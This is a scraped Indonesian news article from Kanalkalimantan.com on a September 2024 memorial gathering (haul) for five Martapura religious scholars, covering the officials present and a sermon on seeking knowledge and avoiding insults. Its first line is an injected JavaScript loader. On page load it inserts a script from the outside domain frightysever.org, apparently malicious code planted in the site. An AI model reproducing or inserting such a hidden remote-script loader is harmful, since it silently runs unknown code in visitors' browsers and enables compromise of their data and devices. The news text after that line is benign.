(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Wakil Bupati Banjar Habib Idrus Al Habsyi menghadiri peringatan haul jama Wali Lima, di Kubah Keramat Jalan Murung Kenanga Desa Tunggul Irang Seberang, Kecamatan Martapura Kabupaten Banjar, Senin (9/9/2024) pagi.
Wakil Bupati Banjar Habib Idrus Al-Habsyi bergabung dengan Rudy Ariffin mantan Gubernur Kalimantan Selatan dan Bupati Banjar, para alim ulama, tuan guru, tokoh masyarakat dan para habaib.
Haul diawali pembacaan syair maulid simtudduror dan ayat-ayat suci Al Quran.
Baca juga: 17 Kandang Babi di Guntung Manggis Belum Dibongkar, Ada Tambahan Ternak Baru
Mewakili Keluarga Besar Wali Lima, KH Hasanuddin Badruddin membacakan Manakib Wali Lima yang disimak khusyuk jemaah haul.
Wali Lima yang dihauli, yaitu KH Abdurrahman ke-82, KH Ahmad Zaini ke 61, KH Husein Qodri ke-59, KH Badruddin ke-33, KH Muhammad Rosyad ke-25 serta haul ke-28 KH Muhammad bin KH Badruddin.
Dalam tausiahnya Al-Habib Jindan bin Novel bin Salim bin Jindan mengajak jemaah untuk mencintai seluruh aulia atau wali allah karena para telah mengajarkan ilmu agama kepada masyarakat, sehingga dapat memperoleh keberuntungan dan manfaat.
Baca juga: Kasus Korupsi Dinsos HST, Kuasa Hukum MS Resmi Ajukan Praperadilan
“Dengan Ilmu agama orang dapat mengerjakan amal saleh yang bermanfaat baik untuk manusia yang masih hidup maupun sudah meninggal dunia,” katanya.
Habib Jindan juga menjelaskan, menuntut ilmu dalam islam hukumnya wajib terutama ilmu agama dari para tuan guru maupun wali allah.
“Sejumlah ayat Al Quran dan hadits nabi banyak menyinggung hal ini, salah satunya sabda Rasulullah SAW yaitu siapa yang menempuh jalan untuk mencari ilmu maka Allah akan mudahkan baginya jalan menuju surga (HR Muslim),” jelas Habib Jindan.
Baca juga: Aula SMAN 7 Banjarmasin Ambruk, Siswa Sempat Terperosok
Dia juga mengingatkan sesama muslim agar tidak saling menghina atau mencaci maki karena apabila seorang muslim menghina muslim lainnya akan menjadi fasik atau kesaksiannya tidak diterima.
“Seorang muslim yang sejati menjaga ucapan dan tangannya dalam menulis atau mengetik untuk dikirim ke media sosial untuk tidak mencaci maki dan menghina manusia lainnya sehingga orang lain merasa aman dan dihargai,” jelas Habib Jindan.
Kegiatan haul diakhiri dengan pembacaan tahlil, zikir dan doa yang dipimpin oleh KH Muadz Hamid asal Martapura. (Kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More
This website uses cookies.